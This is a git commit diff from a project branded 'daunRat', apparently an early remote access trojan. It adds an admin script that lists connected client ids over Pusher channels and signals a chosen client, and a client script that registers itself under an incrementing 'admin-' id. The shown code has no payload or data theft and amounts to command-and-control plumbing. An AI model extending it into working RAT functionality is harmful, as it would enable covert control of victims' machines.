Added message on admin connected
This commit is contained in:
32
admin/admin_simulator/connect.py
Normal file
32
admin/admin_simulator/connect.py
Normal file
@@ -0,0 +1,32 @@
|
|||||||
|
from env import *
|
||||||
|
import pusher
|
||||||
|
import pysher
|
||||||
|
import sys
|
||||||
|
|
||||||
|
|
||||||
|
client = pusher.Pusher(
|
||||||
|
app_id=app_id,
|
||||||
|
key=key,
|
||||||
|
secret=secret,
|
||||||
|
cluster=cluster,
|
||||||
|
ssl=True
|
||||||
|
)
|
||||||
|
receiver = pysher.Pusher(key=key, cluster=cluster)
|
||||||
|
|
||||||
|
|
||||||
|
def handle_connection_to_server(connection):
|
||||||
|
print("Connected to server")
|
||||||
|
print("Server returned: " + str(connection))
|
||||||
|
print("Available client IDs: " +
|
||||||
|
str(list(client.channels_info(prefix_filter='admin-')['channels']))
|
||||||
|
.replace('admin-', '').replace('[', '').replace(']', '').replace("'", ''))
|
||||||
|
client_id = int(input("Enter id to connect: "))
|
||||||
|
client.trigger('admin-' + str(client_id), 'connection_from_admin', None)
|
||||||
|
print("Sent connection message to client")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
receiver.connection.bind('pusher:connection_established', handle_connection_to_server)
|
||||||
|
receiver.connect()
|
||||||
|
while True:
|
||||||
|
pass
|
||||||
@@ -1,28 +1,38 @@
|
|||||||
from env import *
|
from env import *
|
||||||
import pusher
|
import pusher
|
||||||
import pysher
|
import pysher
|
||||||
|
import json
|
||||||
|
|
||||||
sender = pusher.Pusher(
|
|
||||||
|
client_id = int()
|
||||||
|
|
||||||
|
|
||||||
|
client = pusher.Pusher(
|
||||||
app_id=app_id,
|
app_id=app_id,
|
||||||
key=key,
|
key=key,
|
||||||
secret=secret,
|
secret=secret,
|
||||||
cluster=cluster,
|
cluster=cluster,
|
||||||
ssl=True
|
ssl=True
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
def connect_handler(*args):
|
|
||||||
print("Connected to server")
|
|
||||||
channel = receiver.subscribe('test-doubler-sender')
|
|
||||||
print("id=", channel)
|
|
||||||
channel.bind('doubler', on_doubler)
|
|
||||||
|
|
||||||
|
|
||||||
receiver = pysher.Pusher(key=key, cluster=cluster)
|
receiver = pysher.Pusher(key=key, cluster=cluster)
|
||||||
|
|
||||||
|
|
||||||
|
def handle_connection_to_server(connection):
|
||||||
|
global client_id
|
||||||
|
print("Connected to server")
|
||||||
|
print("Server returned: " + str(connection))
|
||||||
|
try:
|
||||||
|
client_id = str(int(list(client.channels_info(prefix_filter='admin-')['channels'])[-1].split('-')[-1]) + 1)
|
||||||
|
except IndexError:
|
||||||
|
client_id = '0'
|
||||||
|
channel = receiver.subscribe('admin-' + client_id)
|
||||||
|
print("Client id: " + client_id)
|
||||||
|
channel.bind('connection_from_admin', lambda _: print("Connection from admin"))
|
||||||
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
print("daunRat by ANONYMUSSSS")
|
print("daunRat by ANONYMUSSSS")
|
||||||
receiver.connection.bind('pusher:connection_established', connect_handler)
|
receiver.connection.bind('pusher:connection_established', handle_connection_to_server)
|
||||||
receiver.connect()
|
receiver.connect()
|
||||||
while True:
|
while True:
|
||||||
pass
|
pass
|
||||||
|
|||||||
Reference in New Issue
Block a user